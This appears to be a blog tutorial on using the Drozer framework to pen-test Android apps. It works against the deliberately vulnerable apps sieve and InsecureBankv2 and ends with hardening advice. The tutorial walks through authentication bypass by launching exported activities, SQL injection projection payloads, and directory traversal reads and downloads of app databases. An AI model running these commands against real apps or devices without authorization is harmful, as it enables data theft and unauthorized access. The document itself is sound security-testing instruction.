Drozer - A Framework for Android Application Security Assessment.



This document explains how to get started with Drozer, and how to use it to perform a security assessment of an android application.
1.1.     Drozer
Drozer is a python based comprehensive security audit and attack framework for Android. It is an open-source framework, used for android pen-testing. It works like a client-server model and makes use of Android’s Inter-Process Communication (IPC) mechanism to interact with the underlying operating system of the device. IPC is a mechanism by which different components of android like intents and data binders communicate with each other so that the communication is established between the apps present in the android device.
Drozer helps to remotely exploit android devices with predefined and custom modules that exploit known vulnerabilities.
1.2.     Conventions used
Throughout this document, command-line examples will use one of two prefixes:
dz> indicates that the command should be typed into a Drozer console
$ indicates that the command should be typed into your operating system prompt

1.3.     Commonly used words and their meaning:
Activity: It is a single, focused thing that the user can interact with. In simple words, it is an application screen or page displayed to the end-user.

Content Provider: It is the main part which manages the data repository access to the application.
Broadcast receiver: Messages used by Android apps to interact with each other.
Services: Background processes that are used for inter-process communication.


Following are the prerequisites for this process:

·         A PC (Windows, Linux or Mac OS X)
·         an Android device or emulator
·         Java Development Kit (JDK) 1.6
·         Python 2.7
·         Android Debug Bridge (ADB)
·         Drozer Agent Apk
And a proper Internet Connectivity



Step#1: Download the Zip file of drozer framework from https://github.com/FSecureLABS/drozer. which is a complete Python build, with drozer’s dependencies built-in.




Step#2: Extract the zip file at scripts folder of Python folder or simply add path folder.


Step#3: Install drozer agent i.e. apk file in your mobile device or emulator.



Step#5: In case of emulator. Use below command of adb to set up a suitable port forward so that PC can connect to a TCP socket opened by the Agent inside the emulator. By default, drozer uses port 31415.
$ adb forward tcp:31415 tcp:31415
Note: Both android device or emulator and PC should be connected to same network.
Step#6: Run command prompt as administrator

Step#7: Navigate to the folder where drozer framework has been installed in the system (i.e. scripts folder of python library) as shown in below screenshot.

Step#8: Enter ‘drozer’ and tap on enter key as shown below


Above details confirms that the drozer console is working fine. 
Step#9: Now open the agent app installed in mobile device or emulator, “Embedded Server” option and tap “Enable” to start the server. Notification pops out saying “server started on port 31415” that the server has started as shown below.


Step#10: Then connect using the drozer console as shown below.
$ drozer console connect --server 192.168.0.100


Note: Above mentioned is the IP of an android device or emulator in which drozer agent is installed.
Once successfully connected to the network you will be shown with an image in console as shown below.
Now, This confirms that proper session established with android device and the setup is ready for exploring the device.

Drozer contains its own modules which we can use for pen-testing an android application.
Step#11: To check the modules present inside the module just type list and press enter key.  All the modules are listed along with description that what they do.
dz> list



1.      Retrieving Application Package Information
Step#1: We can retrieve packages present in the connected mobile or emulator, we can also get information about any installed application package as shown in below screenshot.
dz> run app.package.list


Step#2: Now. Select an application package get information about the application as shown below.





This will give us number of details about the app, including the version, where the app keeps its data on the device, where it is installed and number of details about the permissions allowed to the app etc.



2.      Identify the Attack Surface
This is the part where we start exploring vulnerabilities. Starting with checking the number of exported Activities, Broadcast Receivers, Content Providers and Services.
For testing purpose, I have used a vulnerable applications ‘sieve’ and ‘insecurebankv2’ in my android device.
They can be downloaded from below link.
Step#1: Now, use another module ‘app.package.attacksurface’ to check what are all the potential vectors present in the app which can be exploited.
dz> run app.package.attacksurface <package name>
dz> run app.package.attacksurface com.mwr.example.sieve
dz> run app.package.attacksurface com.android.insecurebankv2


The app ‘exports’ (makes accessible to other apps) a number of activities (screens used by the app), content providers (database objects) and services (background workers).
Also note that service is debuggable, which means that we can attach a debugger to the process i.e. ADB and get into the code.


3.      Launching Activities
Here we will try to launch the exported activities and try to bypass the authentication.
All the activities with permission null can be directly accessed.
Step#1: To list and check all the activities and their permission use or enter below command.
dz> run app.activity.info -f appname


Activities of Insecure bank app
Here in insecure bank application ‘DoTransfer’ is activity present after authentication,
which can be directly accessed as there is no permission set.
Activities of sieve application
Here in sieve application ‘PWlist’ is activity present after authentication, which can be directly accessed as there is no permission set.
dz > run app.activity.start –component <packagename> <activityname>
For Sieve application
dz > run app.activity.start –component com.mer.example.seive com.mwr.example.sievePWList



Step#2: Internal page is rendered without authentication.
Step#3: For Insecure Bankv2
dz> run app.activity.start –component com.android.insecurebankv2 com.android.insecurebankv2.DoTransfer
Step#4: Internal page is rendered without authentication.
4.      Reading from Content providers
We can gather information about the content providers exported by the applications by using a simple command available to request additional information.
Step#1: Run the below command
dz> run app.provider.info -f appname 
dz> run app.provider.info -f sieve 
dz> run app.provider.info -f insecurebankv2 
From above it can be confirmed that content providers do not require any permission to interact with them, except for the /Keys path in the DBContentProvider of sieve application.


Step#2: Now, we will use another module of drozer called “scanner.provider.finduris” which is used for getting all accessible content provider URIs
Step#3: Now, we can use other drozer modules to retrieve information from those content URIs, or even modify the data in the database as shown in below screenshots.
dz> run app.provider.query content://path
dz> run app.provider.query content://com.mwr.example.sieveDBContentProvider/Passwords








1.    Check for SQL Injection
Step#1: Run the commands as detailed below
dz> run app.provider.query content://path --projection "'"



Step#2: Then Run the commands as below
dz> run app.provider.query content://path/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
2.Directory Traversal
Here we can exploit File System-backed Content Providers exposed.
Step#1: Run the commands as below
dz>  run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts/
From, above screenshot, it can be observed that able to traverse to the /etc/hosts folder of the applicaiton
Step#2: Next, Run the commands as below to download the sqlite.db file from android device to your system
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/ data/data/com.mwr.example.sieve/databases/database.db anil/database.db


Already existing internal modules of drozer can be used to scan for SQL and Directory traversal vulnerabilities.
Step#1: Scanning for injection at content providers
dz> run scanner.provider.injection -a package
dz> run scanner.provider.injection -a com.mwr.example.sieve
dz> run scanner.provider.injection -a com.android.insecurebankv2
In above screenshot contents urls highlighted under projection and selection are vulnerable for SQL injection vulnerabilities
Step#2: Scanning for directory traversal at content providers
dz>  run scanner.provider.traversal -a packagename
dz>  run scanner.provider.traversal -a com.mwr.example.sieve
dz>  run scanner.provider.traversal -a com.android.insecurebankv2


In above screenshot content urls highlighted under vulnerable providers are the vulnerable for directory traversal.
dz>  run app.service.info -a package name
dz>  run app.service.info -a com.mwr.example.sieve
dz>  run app.service.info -a com.android.insecurebankv2
It will display all the services which are exported and can be exploited.
Apart from these modules’ attacker can include custom module and start exploring and exploiting


Installing other modules in framework
dz> module install cmdclient
Module is successfully installed in drozer console (system) as shown in below screenshot.
Few interesting predefined modules helpful for exploitation are are as follows
shell.start — Start an interactive Linux shell on the device.
tools.file.upload / tools.file.download — Allow files to be copied to/from the Android device.
tools.setup.busybox / tools.setup.minimalsu — Install useful binaries on the device.




Ø  Set exported option for all the activities and services to false,
Ø  Set debug flag to false.
Ø  Allow no backup
Ø  The host application should declare permission for shared component.
Ø  The shared component should not disclose any sensitive data
Ø  Only app permissions which are of business requirement should be allowed or configured in manifest file
Ø  There should not be any hardcoded or sensitive data exposed in any of the files of client side apk.
Ø  SQL querries should not be disclosed in java class files of the application

Comments

Popular posts from this blog

File Upload Security Testing Checklists

SAML Security Test Cases